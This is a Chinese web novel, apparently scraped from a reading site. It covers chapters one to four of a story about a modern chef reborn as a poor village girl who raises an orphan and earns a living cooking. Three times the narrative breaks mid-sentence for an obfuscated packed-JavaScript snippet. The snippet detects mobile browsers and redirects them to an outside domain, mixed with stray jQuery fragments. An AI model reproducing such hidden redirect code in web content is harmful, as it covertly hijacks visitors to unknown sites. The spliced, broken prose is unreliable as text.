《珍馐娘子发家记（美食）》 1. 第1章 “锦娘，你要答应我！我是活不成了......咳，可小秋......若你不答应，我死也不能合眼！” 一个骨瘦如柴的村妇，紧紧攥着一个年轻女娘的手，满眼是泪。 “我知你是大户人家的小娘子！可是，你现下想不起自家亲人姓甚名谁，也没个去处。就把秋娘当成你的家人，成不成？” 唐红蒲几乎是低声下气在求她。其声凄切，闻者落泪。 蓝锦叹了口气。她也很崩溃啊！ 她本是京市年轻一代中最俱盛名的厨艺大师。 与她共事过的人，都亲切地喊她另外一个名字：工作狂。 想她不过是累得在后厨打了个盹，一觉醒来，竟来了这里！ 原主这个十五六岁的古代女娘，大概率是营养不良，而且，竟然大雨天的独自在山中奔波。 被岳家夫妇俩救下之后，寻医问药也回天乏术，一场风寒，终究给夺去了性命。 蓝锦第一次睁眼的时候，屋顶还在漏雨。啪嗒啪嗒，打得她眼皮子生疼。 破旧的土房，破烂的床褥，目光所及之处家徒四壁。这还不是最糟的——“她”的救命恩人去服了下徭役，中途归家，竟双双病重濒死了。 想想前世的她，可能也已经死了。估计是哪个学徒熄火操作不规范，一把大火把她带到了这个莫名其妙的大昭朝。 她的特制厨刀，她的厨艺妙手...... 蓝锦欲哭无泪，杀她别用返贫刀！ 一旁的小姑娘早已哭得像个花脸猫，乖顺地任娘亲把自己的小手塞进蓝锦的大手里。 “小秋，娘亲运道不好，不能陪你长大。蓝姐姐是个好的，你们姐俩答应我，互相照顾，都好好的，好吗？” 蓝锦知道，这个好人卡，是因为她拿出了原主身上的银钱，忙前忙后，帮病床上的唐红蒲，置办了她的丈夫岳明义的丧事。 岳家夫妇本是逃难来的，举目无亲，岳明义一走，只剩娘俩相依为命。 蓝锦仔细思忖过，饶是这么艰难的时候，原主颈间那块明显很值钱的长命锁，还好端端戴在脖子上。 ——她们母女俩从没打过“她”的主意，反而舍得匀一口饭、一碗药给自己。 投桃报李，蓝锦拿了主意。她心中念了声菩萨，把衣角里的碎银给了出去。 权当是帮原主报答岳家的搭救之恩吧。 岳家的丧事一切从简，蓝锦顺带也悄悄给原主上了一炷香。 她能感到原主强烈的求死欲。不知她在这个世间曾经遭遇了什么，现下就快快活活往生极乐吧。 蓝锦看着生命力不断流逝、眼神却亮得骇人的唐娘子，长叹一口气：“好，唐娘子安心，我一定会照顾好秋娘。有我一口吃的，就有她一口吃的。” 唐红蒲倚在稻草炕上，终究是欣慰地扯了一下嘴角。 遵了唐娘子的嘱托，她的丧事也是一样从简。 蓝锦搂着木呆呆的小秋，两人紧贴的心跳，像共振的鼓槌，咚咚咚，咚咚咚。 ** 冬日的空气冷得咬手。蓝锦起得太早，院里雾蒙蒙的，把低矮的黄土墙压得越发卑小。 她再看了一眼被窝里的小秋——皱着眉头，做了半宿的噩梦，此刻终于熟睡了。 家里只有这一床厚被子。说是厚被子，其实也是硬邦邦的薄棉絮。 两人要蜷成一团，才能感到怀中有一丝暖，手脚的冰寒那就更不消说了。 蓝锦拿了草帽和衣裳，轻手轻脚扯着一个细绳，从外头拉上大门里面的门闩。 岳家在村尾，地势稍微低洼了点。蓝锦拐到屋后，往山里走。 这个村约莫好几十户人家，大多是土坯墙和茅草顶。不过，有几户的屋檐下挂着风干的腊肉。 蓝锦恋恋不舍看了好几眼，深觉口水倒灌进了胃里。 “以后我和小秋肯定也能吃上。”她想。 路边的杂草丛里，偶然冒出几只瘦瘦的鸡鸭，有一搭没一搭地刨食。 看得蓝锦简直眼冒绿光，口水都要下来了。现代人的道德感按捺住了她。 她走过一片未冻实的湖，湖面绿得幽深，加上四下无人，要搁从前，蓝锦会害怕。 可是现在，她心里清楚，什么都不如活不成可怕。 不知第多少次撇开打到脸上的枝叶，蓝锦眼前一亮，真有！ 几棵高大的皂荚树静静立在她面前，粗壮的树身上挂满了干透的黑褐皂荚。 她从背篓里拿出准备好的竹竿子和镰刀，又拿刀砍了些枝杈，用绳子拼绑成一长根。 然后深吸一口气，快步走向树下，“唰”地一下钩住皂荚树枝晃荡，满树皂角簌簌往下落，像下了场小雨。 收获颇丰啊，蓝锦猜得没错，现下这种皂荚并不走俏。 讲究点的村人会零星采点村里头的皂荚洗涮衣物，更多人还是只用草木灰来清洁。 除此之外，就没人发掘它的用途了。 她耐心把打下来的皂荚装满筐子，连衣服兜里都揣满了，这才打道回府。 本来还盘算着，万一遇到个野蜂窝，能找点野蜂蜜的，她连衣裳都带上了—— 布料搁水里一打湿，盖在草帽上把头脸一捂，得手了拔腿就跑。 谁想到一路走来都没见着。看来走得还不够深，只能下次再说了。 蓝锦并不沮丧，因她刚刚来的路上看到了，水边有一大丛一大丛的芦苇。 她原路返回，拿着镰刀割了一大把。 回家的路上，这副模样叫几个站在家门口的闲汉看着了，窃窃地议论： “村西头那家命硬的，克死至亲，姐俩果然就要失心疯了。” “抱了那么大一团芦苇杆子，莫不是饿得生啃那玩意吧？” “可少说风凉话，张媒婆不是上门了吗？你们看着吧，她肯定嫁给张家那小子，到时小心她不卖你家豆腐！” 几人笑得不怀好意。蓝锦的眼中并没有他们，不听不看，脊背挺直，扬长而过。 她在专注地盘点家中剩的资产。 诊费、药钱，和简薄得不能再简薄的丧事，已经把银子吞了不少，约等于无。 此外就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541944|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是半坛子面，一坛子黄豆，半坛子杂谷...... 今日就狠狠心，把仅剩的几个鸡蛋用上一个，给小秋补一补。吃睡都不好，那小脸瘦得挂不住肉...... “哎哟！岳家侄女，可把你盼来了！咱们大侄女真是勤快人，起这么大早就干活。真真是跟我们家那小子天生一对啊。” 蓝锦冷不丁叫人箍住胳膊，唬了一跳，使大力甩开。一回神，就见一男一女站在自家门口。 那灰衣服伯叔也就比小秋父亲小上一点，拎着一篮鸡蛋，看不出什么神情。 女的身份倒是一目了然，笑得像朵花似的，穿得大红大绿，还有一颗痣，就跟后世电视剧里的媒婆一模一样。 你一言我一语，等看热闹的村民都挤到自家菜园的篱笆后头了，她才搞清楚原委。 小秋父亲竟是给蓝锦说了一门亲！ 她噌地一下弹开了，拿柴刀护着自家：“不行！我不同意！” 开玩笑，帮他养女儿，那是看在唐娘子的份上。没有说为了保证女儿活路，就把她蓝锦一辈子搭上的道理！ 灰衣服伯叔也是左右为难：“大侄女，若不是岳老大早先托人捎信给我，我吃饱了撑的，管你家的事？” “他们撒手去了，小秋还这么小，你们姐俩怎么过活？他替你安排亲事，也是为着你好，你怎么就说不通！” 张媒婆也是两头骗。其实，小秋父亲找上她时，原是想做两手准备。 若姐妹俩真活不下去，又没有为她们考虑的长辈，便托媒人替姐妹俩上上心。 找个身家清白的入赘郎，也能支应门庭。 张媒婆本就不是真心想管，人死灯灭，岳家又没给她钱！指望谁都像他家一样老好人啊？捎几个山里套来的兔子，几口就吃完了。 但岳明义的丧事一过，加上她二哥在耳边吹风，说烦恼自家结巴儿子的亲事，张媒婆渐渐动了心思。 无他，丧事虽简薄，却还算体面。这个远道来投亲的岳家大侄女，一定还有家底子没露出来。 围观的人已经议论开了：“岳老大仁义！投亲的侄女，也给张罗婚事。” “年轻小娘子，家里没个男人支撑门户，还带个拖油瓶，你看她怎么活？还不得去喝西北风啊！” 蓝锦不为所动，只面朝这位伯叔说话：“您回去吧，我不嫁人，也不娶夫，我自己就能把日子过好。” 说罢，闪身进了门，把门闩一插，任媒婆气急败坏叫嚷。 小秋在门边蹲着，小手抠着自己的脚踝，可怜兮兮地无声抽咽。 蓝锦知道她听了个全，一早就把门闩拉开，想出去又不敢。 “蓝姐姐，是因为我，你才不能去过好日子的吗？” 蓝锦抱她起来，拿指腹擦掉她的泪，看着她湿漉漉的黑眼珠，郑重道：“小秋，我们一起，过的就是好日子。” 外头的闹剧终究散了。 蓝锦和着面，听见有人敲门。 出去一看，是刚才的伯叔，他把一篮子鸡蛋往前一递，撂下一句“我对不起岳大哥”，转身跑了。 2. 第2章 “汪！汪汪！” 正午的太阳照在冰凉的四肢上，也能带来一丝冬日里的暖意。 正是炊烟袅袅的时候，蓝锦躲开有大黄狗的人家，叩开一扇门： “婶子，又甜又糯的神仙甜汤，一文钱一大碗，要不要来点？管饱又解馋，小孩大人都能吃。” 伸手不打笑脸人。蓝锦笑得像一只寒风里的黄莺，脆生生、甜滋滋的笑音绊住了李青苗说“不”的话音。 什么神仙？什么甜？ 糖可是稀罕物件，卖一文？ “这神仙甜汤可不一般，保准您上天入地都找不着。亮晶晶的，就跟仙宫里的珍珠似的。” “难得的是，甜得柔和又绵长，吃上一口，绝对三天都忘不了！” “它还垫肚子，软糯，还弹牙，越嚼越清香，有滋有味的。” 李青苗真的心动了。 谁家不爱个甜的香的？尤其是这冬日里，冷飕飕的，吃口甜的，心里都是暖的。 只不过谁也不舍得抛费。油，肉，哪样不要钱？都得排到甜的前头。 何况，听这小娘子说，还能垫肚子！ “一文钱有多少？”李青苗眯着眼，去看蓝锦的扁担。 小秋赶忙给姐姐递过来一个大木勺，圆柱底。这是盛汤用的，起码是大食堂的分量，也不知岳家怎么有这个。 “这勺子，两满勺！” 李青苗满意了。她本就动心，而且，自家大丫闻着味就出来了，早就蹿到她身边，不停戳她的腰。 得亏她平日教得好。否则，若她再不答应，这馋鬼能当场把口水流得淹了她鞋子！ 蓝锦掀开被褥裹住的大坛子，果真满当当舀了两大勺。 晶莹剔透的神仙甜汤，晃悠悠的，在阳光的照耀下折射出夺目的金光。 大丫忙接过大瓷碗，溜着边就往嘴里吸了一口。 蓝锦享受地看着她的吃相。 这是她一个个把皂荚拆了，取出皂角米处理了。又把芦苇根捣得稀碎，滤出甜汁子。 使小火慢慢熬煮，炖到她满意的状态。 调了味，就跟后世奶茶里的寒天、蒟蒻、珍珠一样！ 柴火是山里捡的，皂荚是山里打的，芦苇是水边砍的。 若是不算上她的人工，这完全是无本买卖！ 卖出一文，净赚一文！ 李青苗看着大丫小嘴咕涌个不停，急道：“咋样啊？” 大丫仍旧嚼了又嚼，直到嘴里的全化了，才依依不舍咽下去： “娘，好吃！甜的，还香，比肉还好吃！” 李青苗啐道：“孩子话，有什么比肉好？” 她也往嘴里送了一口，一时愣住了。 这种甜有一股复杂的层次，女儿说得没错，它很香。 一个个粘糯的小团子在口中跳舞，想嚼它，又从左边跑到右边。 等到用牙控住了，咕叽咕叽地嚼起来，只觉得每一下都有不同的口感。 在嘴里时是饱满的，咽到肚子里，也是扎实的！ 虽然到底比不上肉，不过，过年赶大集时，从县城买回家的云片糕，都不如这个适口！ 李青苗忍不住又要了两碗。蓝锦还送她一大勺，笑盈盈地去了下一家。 不得不说，李青苗家算是最省心的买主。 蓝锦遇上那想免费尝到饱的，质疑她的东西干不干净的，能解决的就解决，不然就笑笑去下一家，不强求。 然而，神仙甜汤的生意实在走俏。还没等她走完小半个村子，两大坛子就卖空了。 蓝锦和小秋赶回家，又煮了两大坛热的，继续笑着一家家推销，仍然售卖一空。 姐妹俩窝在炕上，小秋一边接着姐姐数过的铜钱，收进包袱，一边把眼睛盯住姐姐的手。 “四十！四十一，四十二......” 五十文！整整五十文！ 天呐，她们有钱了！ 蓝锦一把抱起小秋，在她脸上亲了又亲。 小秋一时没能适应姐姐的热情，还有些害羞地躲闪。 蓝锦把她放下来，两人手拉着手，在屋里原地蹦着转起圈来。 “小秋，怎么样？跟着姐姐一定有肉吃！” “嗯！嗯！”小秋额头上的黑灰还没来及擦去，那是她赶着给柴火灶打扇子时蹭上的，笑得像个花脸猫。 “咚咚”，蓝锦放下小秋，去开院门。 “岳家侄女，吃饭了吗？这个给你们。”是李青苗，拿着一篮子西红柿。 蓝锦很惊喜，这个时空竟然还有这种好东西！她最爱吃酸甜口了。 李青苗把篮子往愣着的蓝锦怀里一揣，自顾自上前，捡起小院里四散的柴禾，堆整齐。 “拿着吧，你们姐俩也是不容易。你这孩子上进，还有这等好手艺，好好干，肯定能行。” 啧啧，叫她猜着了吧，两个孩子，连家都收拾不明白，乱糟糟的。搁人前还笑得跟没事人似的。 李青苗那一顿饭吃得越来越不是滋味。 两个半大孩子，寒风天出来卖甜汤。小的也才六岁吧？比自家大丫还大一岁，竟没有大丫高。 一搁下碗，李青苗就揣着篮子往村尾走。 蓝锦热情地邀好心婶子留下，尝尝自己的手艺。 李青苗摆摆手，酷酷地走了。 ** 如是卖了好几次神仙甜汤，蓝锦把村里的人脸都认熟了，小金库也鼓了。 蓝锦一边把家里的黄豆炮制成酱油，一边思忖： 神仙甜汤这东西，终究是吃个新鲜，加上占了冬日食材贫瘠的便宜。再富裕的村户也没有日日吃甜汤的。 而且，她已经看到有人学她，悄悄去山里打皂荚、砍芦苇了。 这种无本生意迟早会被人勘破，蓝锦一早就料到。 正是十五赶大集的日子，得亏她们村的地理位置好，南来北往的商铺都选择聚集在这里。 她和小秋起了个大早，二脸期待。因为她们打算给自家添一个顶顶值钱的好东西——一床大棉被！ 临时搭起来的红棚子下头，卖各色干货鲜货的杂商应有尽有。 姐妹俩拉着手，在吆喝声中四处探看。布料摊子倒是只有一家，上前一打听，姐俩傻了眼。 一床棉被，要价八百文！！ 她们现在的家底，满打满算不过三百文。 蓝锦几乎脱口而出：“这怎么不去抢！” 布摊老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541945|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板不高兴了： “你这小女娘，买不起就别乱说话。现在什么时令？这细布什么成本？这棉花什么斤两？你看这做工，工钱都得占一半！” 蓝锦很想硬气地说，给我四百文，我给你做。 但她不会做。 姐妹俩丧气地垂头走了。 没走几步，叫一个面善的奶奶扯住了。 “小娘子，你是卖神仙甜汤的吧？你家缺被子？我给你做，你找村里人买点棉花就行。” 蓝锦看着笑眯眯的老奶奶，心头打鼓。自从穿来，飞来横祸一个接一个，还能有天降馅饼的好事？ “年轻时我就是弹棉花的，村东头吴家，家传手艺，不能骗你。” “我这把年纪了，就好一口你家的神仙甜汤。你又不做了！能不能教给我？我不收钱给你做被子。” “我家老头子摸去河里砍了好些芦苇杆，放嘴里一咬，险些没把牙崩了，实在弄不清怎么做的！” 蓝锦失笑。若是这么说，倒也不是不行？ 她只买了些碎布。回家后，斥二百文巨资，买了五斤多的棉花，青苗婶子介绍的。 吴老太一拿到棉花，就马不停蹄地拿出长弓连夜弹起来。 蓝锦赶早进山打皂荚。不知是不是村里人都知道了皂荚的秘密，上回的几棵树上所剩无几。 这次她走得更深。 “沙沙”，“沙沙”。 第一次来的时候，蓝锦还会被这种声音吓到，现在她已经完全不惧。 不过是松鼠踩落叶。 “救，救我......”咣当一声，有什么东西倒下来了。蓝锦心头一寒，自己吓自己，这可不是松鼠！ 她小心翼翼回头一觑，是个男人！仰面躺倒的男人！ 蓝锦抖着身子，双手支棱在身旁，大螃蟹似地绕到这坨旁边，小心问道：“你，你活的吗？” 那人费力地把眼皮撑开：“吃......吃的......” 蓝锦矮下身子，想听清楚这人在说什么。一不提防，一枚足金镂花的长命锁，从颈间滑了出来。 她并未觉察，还在不远处问：“是的？你说是活的？” 那人原本还眼神闪烁，彷佛认出了什么。闻言眼皮一翻，不知是气的还是饿的，晕死过去。 蓝锦更害怕了。这男的一身夜行衣，怎么看也不像是好人啊！ 她观察了一会，终是抖着手往他嘴里灌了点芦苇根的甜汁子，看还没反应，扔下水壶，拔腿跑了。 就算是好人，尸体她也怕呀！ 待她夺命狂奔到吴家，快手快脚的吴老太已经把被面都缝好了，碎布叫她缝得像秀场高定。 蓝锦目瞪口呆，叹为观止。更加尽心尽力，把吴老太和她老伴都教会了。 小秋摸到这床又轻又软的厚实大棉被，幸福得打起了嗝。 蓝锦买的棉花多，吴老太确实人好又实在，还给她们缝了个小褥子。 这是姐妹俩睡得最舒服的一觉，梦里都是暖烘烘的，快要生冻疮的脚丫热得发痒。 蓝锦难得赖床，可门外的人专跟她对着干。 “夺夺”，粗暴的敲门声硬生生把她拉起来，“开门，我知道你在家！” 3. 第3章 蓝锦在心里咒骂了一句，当着孩子的面，她没骂出声。 她捡起柴刀，把门开了一个小缝，只见门外站着一个趾高气扬的男人，和上次的媒婆。 “就是你，看不起我弟弟的？” 蓝锦起床气正浓，嘴上也不客气：“你又是哪根葱？” “嘿”，来人挽挽袖子，作势要上前，叫张媒婆扽住了。 她的目的是逼蓝锦从了自家小侄儿，这才把在县城富商家做管事的大侄子叫来镇场子，可别偏了主线。 那个什么伯叔也是不靠谱，叫蓝锦搅弄下舌头就家去了，外姓人就是靠不住。 小秋趿着小布鞋，拿着她的小锄头，一改从前无声呜咽的模样，一路奔到门口：“不许你们欺负我姐姐！” 蓝锦很欣慰，张媒婆倒是一副看笑话的样子，用哄孩子玩的口气说： “岳家小妹，叫你姐姐嫁到我张家来，包你天天都有豆腐吃！又大又香的白豆腐！” “呸！谁稀罕！” 蓝锦也学小秋，一叉腰：“呸！谁稀罕！” 小秋得了鼓舞，更加大着胆子，学走街串巷时偷听来的闲话： “豆腐是什么好东西！肉都不舍得拿，一家子抠门精，不害臊！” 张媒婆连孩子都哄骗不过，脸上挂不住。还要再说，蓝锦“啪”地一下关了门，险些撞到她鼻子。 甭管外间怎么唾骂，蓝锦和小秋一人揪了两小团棉花，把耳朵一塞，听不见。 今天睡饱了，还要吃饱。好好给瘦骨伶仃的自己和小秋补补身子。 赚钱不就为了这一口吗？ 蓝锦舀了些面粉进盆里，倒了点温水，揉成一个光滑的面团，慢慢擀开。 面香扑鼻，是乡下有机麦的精纯浓香。叠起面片，手起刀落，切成粗细相当的面条。 小秋把青苗婶子给的西红柿洗了，蓝锦接过来，“夺夺”地切丁。 青绿的大葱切成菱形条，前儿因祸得福收获的鸡蛋打圈儿搅匀。 锅里倒上黄澄澄的农家菜籽油，随着温度上升，边沿正“滋滋”冒着小泡。 蓝锦飞入鸡蛋，“咻”地一声，金黄的蛋液遇上高温，在锅中起了大泡，一下子蓬松炸开。 香啊！ 她拿起大勺，推散蛋液，不停翻搅。每一块蛋都沾上了晶亮的油，折射出窗外天光，更加诱人。 蛋香四溢，趴着灶台的小秋伸出小舌头：“好香！” 蓝锦盛出边缘转硬的鸡蛋，吹吹凉，喂了一块到小秋的嘴里。 “嗯！好吃！特别好吃！姐姐最棒！”小秋边嚼边拍着手，十分满足。 蓝锦重新倒油，把葱条一股脑倒进锅中。“刺啦”一声，葱香一下子充满整个屋子。 随着翻炒，香气愈来愈浓。葱白变得焦黄，新加入的西红柿块渗出鲜红的汁水。 蓝锦撒些薄盐，还不忘倒圈水浸味。熟鸡蛋也倒进去，锅中红中带黄，黄中带焦。 蛋香味中掺杂了高温煸炒带来的葱香味。又有西红柿的酸甜气味，复合的香气直钻人鼻孔。 大火咕嘟得汤卤愈加浓厚，她舀了一勺吹凉：“来尝尝咸淡。” 小秋立刻张了嘴，仔细咂摸了味道：“好吃，真好吃。比娘做的还好吃！” 蓝锦笑了，不惧谈论，是好事。她把一旁的面条下锅，轻轻搅动几下，听锅中的“咕嘟咕嘟”声。 面条香味愈浓，揭开锅一看，汤汁红彤彤一片，浓郁诱人。 滚烫的炝锅面上了桌。姐妹俩一人一海碗，鲜红的汤汁闪着油光，热气裹着西红柿香气扑面而来。 面汤上漂着金黄的蛋花，浅褐色的葱花星星点点。 筷子轻轻一挑，送入口中，炝锅的焦香先声夺人，西红柿的酸甜打着旋儿跟上。 牙齿一嚼，焦嫩鲜美的鸡蛋，和筋道的面条正相配。 再喝口热汤，舌尖瞬间被暖意包裹。 西红柿肉已经被熬煮得化了，汤味醇厚。未经过商业化改良的西红柿味道浓，鲜香，每一口都是大满足。 趁热再吸溜几口面条，是恰到好处的柔韧。爽滑弹牙，顺着喉咙一路暖到胃里。 小秋忍不住仰头感叹：“真的是好好吃啊！” 二人现下是一个姿态，大口往嘴里扒拉面条。 吃得全身暖洋洋，满面红光，额头发际的小绒毛汗津津的。 蓝锦听着外头又有阵仗颇大“啪”的响动，不耐烦地去看。 却只看见门口躺着几只大鲤鱼，像是刚被人捞起来，倔强地翻着白眼，甩着尾。 ** 蓝锦的扁担小摊刚走出家门不远，就叫张家的人拦下了。 “大伙，都来，瞧一瞧啊！岳，岳家的姐妹俩，不地道！拿了我家的，宝贝，食方，寻那山野里，不值钱的，东西！就哄大家，给她乖乖，掏钱！” 蓝锦直到今天才见了张媒婆小侄子的本尊。 张家人丁旺盛，能说会道，每支都过得不错，难免挤兑讲话不利索的二房小儿。 他不能走兄长们的路，接了豆腐手艺，平素就是担着扁担做货郎。 要按蓝锦说，靠双手双脚吃饭，不怨不艾，她还佩服这样的人。 可现下全不是这么回事。蓝锦做的生意，明显和他不挨着。 张货郎心里却觉着，同是改善伙食的零嘴，她就是抢了自己生意！ 再被兄弟们一撺掇，蓝锦拒婚又变成了她最大的不是！ 全然不管这本就是他家自导自唱的一桩婚。 蓝锦不卑不亢，只道：“你是哪来的底气，在这里无凭无据地乱吠？” 张货郎本就说不利索，刚才那段话练了许久。闻言气恼地一时不知怎么反驳，只能按练好的来：“我有证据！” 他把芦苇根掰出来，分给围观的人嚼：“看，甜的！” 又掰开一颗皂荚，挤出皂角米，递给大家：“就是这个！” 蓝锦气定神闲地看着他自证。人群里果然有人说：“还真是，仔细咂摸，是有点那个味。” 还有人说：“甜的诶！以后咱们也用这个当糖。只是这硬的，哎哟，给我割出血了。” “这皂角米一点味也没有嘛。” “可这口感像啊，颜色也像，不会真是吧？” 张货 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541946|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郎觉得风头有利于自己，趾高气扬。 蓝锦却道：“你想表达什么？我怎么看不太懂？” 张货郎气道：“这还，不明白？神仙甜汤，我会做，我家的，你偷去。只是便宜货，骗钱！” “你说食方是你家的。既然本就是便宜货，为何还要当成个宝贝方子？” “还是说，这就是你家的传统，卖的都是便宜货，只不过靠食方翻身价？”蓝锦稳稳道。 张货郎有一丝慌乱，他可没料到这也能变成回旋镖，自家还靠着豆腐生存： “你胡说！我不是！我家，不用，便宜货！” 蓝锦盯着他的面色，好整以暇地从他的货担里拈起一块豆腐，放在鼻子下轻嗅。 “不用便宜货？不见得吧。” 她在有点担心的小秋耳边说了句什么，小秋一溜烟跑走了。 蓝锦看着不远处从地里往回走的人，继续上前一步： “你说这是你家的‘宝贝’食方，就是说，没看过的人，都不该会？” 张货郎在脑子里转了一圈，没什么毛病，点了头。 “宝贝食方自然是指望它赚钱，绝不会教给别人的？” 张货郎想：对啊，所以才说你偷的！ 他又点头。 蓝锦突然拔高了声音：“那照你这么说，食方是你家的，不偷就不会做神仙甜汤了？” 她快速地往远处一指：“这东西本就简单，人人都会。我随便指一个人，她要是做出来了，你又怎么说？” 张货郎连结巴都不结巴了：“不可能！” 他自己在家都没做成那味。 不然，他今天就不会只把原材料带过来，给人证明了，直接端上成品多好。 吴老太已经走到了跟前，她日日都是这个时辰从田里归家，蓝锦心中有数。 刚才的话她都听了去，豪爽道：“哎，我老婆子今天也凑个热闹！” 拿了张货郎手中的原材料，独自找一户人家借了个灶，不多时就端出一大份神仙甜汤！ “哎，还真是那个味道诶！” “好吃，真好吃！你傻啊，还在那啃杆子。不要钱的，还不快尝尝。” 众人一哄而上，没人去理会风中凌乱的张货郎。 怎么可能......人人都会......连老妪都会...... 那怎么从前没有人卖神仙甜汤？！ 真这么简单，这钱怎么就让这个小娘皮赚去了？为什么就不是他？ 刚才还怀疑的人往他心上扎刀：“看来真是人人都会呀。他真笨，还把这当宝贝方子，嘁。” 张家大侄子估摸着时辰，废物弟弟这头也该结束了。 他大摇大摆地过来，打算顺势踩几脚，出出吃闭门羹的气。 张货郎看着城里回来的哥哥，一时之间又有了勇气，指着蓝锦的摊子：“你，便宜甜汤，大家，都会了，都别买！” 丢脸又如何，被说两句又不会掉块肉。 可若是蓝锦生意砸了，失了进项，那才是伤筋动骨！到时还不乖乖嫁到他家，任他磋磨。 他们走着瞧。 4. 第4章 蓝锦仍旧笑盈盈的：“哎呀，不能卖神仙甜汤，真是好可怕！” 张货郎气不打一处来：“你，别得意！” 蓝锦信手掀开坛子盖，一股浓郁的荤香扑面而来。 咸得过瘾，这绝不是神仙甜汤！ 原本还捧着神仙甜汤的人们都围将过来，听蓝锦介绍： “鱼酱芋头泥，八文钱两大勺，管饱，里头真有鱼！” 反应快的村民早就奔回家拿碗了，他们可知道蓝小娘子的一勺有多大！ 若是当盘菜，省着点吃，一家人都够了。 没听着吗，还有鱼！大冬天的，这是多金贵的东西。 有人倒是嗤之以鼻：“真是发达了就忘本，早先做一文钱的生意，这一下就做起八文钱的了。” 蓝锦只笑眯眯地强调：“只供应这几天，错过了就没了噢。” 但凡沾过厨房的，闻着味道，都知道这一大坛的含金量。 蓝锦敢喊出这个价格，自然也是不怵。 那几条宛如猫的报恩、从天而降的大鲤鱼，她和小秋寻了个盆放着，姐妹俩蹲在那，研究了好半天。 活蹦乱跳的，不像有人投毒的样子。 狠了狠心，弄了点扔给田鼠，也好好的没事。 蓝锦放心了。怕鱼越养越瘦，当天就全杀了，剁碎炒熟，用那山里采的野椒腌的泡椒，全都做了鱼肉酱。 又买了些芋头，洗净切片，上锅蒸，捏成芋头泥。 撒点薄盐和炸好的葱油一起拌匀，用手掌根把芋头泥按得坑坑洼洼，香味四溢。 再起锅倒油，炒鱼酱，霸道的荤香味充溢灶间。 添点水炖着，锅里咕嘟嘟烧得起劲。蓝锦加了点糖和醋，又用野菜提炼的淀粉，调了水淀粉倒进去。 大火舔舐锅底，汤汁变得浓稠。舀起一瓢，汤汁挂在勺背上不肯下来。 成了！ 油亮的酱卤往香香的芋头泥上一浇，被月球表面似的小凹陷留住，缓慢地流淌，爬满整盘。 配上青绿的葱花，叫人直流口水。 不用算鱼的成本、柴禾的成本、碗盘的成本，只用算芋头和调料的成本。 即便卖得并不算贵，这一份总也能赚个四文上下。 旁人也不知道她这鱼是白得的！不过，她自己也弄不来。所以真的是只能供应几天，绝不是饥饿营销。 还是有人被吊住了胃口：“蓝小娘子可要等我，我一定得吃上。” 蓝锦笑着点头，还把身子让开，让已经拿了碗回来的人自己盛。 “真是我自己盛？” “真的，盛多少是多少，两勺就行。” 人群的热情再一次被点燃，个个跃跃欲试，把勺子堆得冒尖。 蓝锦还怕她不够，又接过来替她深挖了一遍： “够了够了小娘子！”这都满得快溢出来了，阎梨花盯着缓缓流淌的酱卤，好几大块鱼肉酱！ 要掉不掉的，她赶紧装进碗里。 粘糯的芋头泥难免扒勺子，但蓝小娘子说了随便舀，大家谁都没有被按勺卖劝退。 各凭本事，满载而归，个个欢喜地付了钱，回去路上还奔走相告。 看这阵势，刚才还犹豫、嫌弃的人，也加入了回家拿碗的大军。 有人刚一转身，就贪恋地吃了一口。鱼酱的咸鲜！还有山椒的热辣！刺激！ 芋头泥的绵密清甜很好地裹住了滋味，叫人恨不得马上拌上一大份饭。 这鱼肉还没有刺，辣味又不过分，家里孩子都能吃。今天又是托蓝小娘子的福，改善伙食的一天。 刚才嫌贵的人再也没说话了，他只想，明儿要还有，他还买。 张货郎在一旁发着呆，浑忘了是自己攒起来的局，此时却全然是个局外人。 张家大侄子看一眼窝囊弟弟，在一旁大声嚷嚷，试图盖过喧闹的人群： “这糊糊有什么好吃的？还不是哄人骗钱！你什么身份，我家什么身份？赶紧把亲成了干净！” 蓝锦专注收钱，只当听不见。托八卦效应的福，不一会功夫，坛子里的芋泥就卖了个干净。 她懒洋洋地收好钱袋子，清清嗓子：“大家伙还不知道吧？张家的豆腐，用的是发霉的便宜豆子！” 这下，走远没走远的人都停下了脚步，聚过来看怎么回事。 张货郎率先跳脚：“你血口，喷人！” 蓝锦拈开刚才那一小块豆腐，把碾碎的豆腐渣展示给大家。 阳光下，真有些若有若无的黄绿，不仔细看，看不出来。 她从小嗅觉就比旁人灵敏，所以才做了厨子这行，还好穿越也没影响了去。 正在这时，村长带着一帮人，气势汹汹地赶过来。 张货郎彷佛找到大救星，上前申冤：“村长，大人，她污蔑，我家豆腐！” 村长把他的手一甩，一句“捆起来”，后头的人直接反剪了他的胳膊，拿杀猪结捆了。 又拿出一袋霉坏得不成样的黄豆，掷地有声： 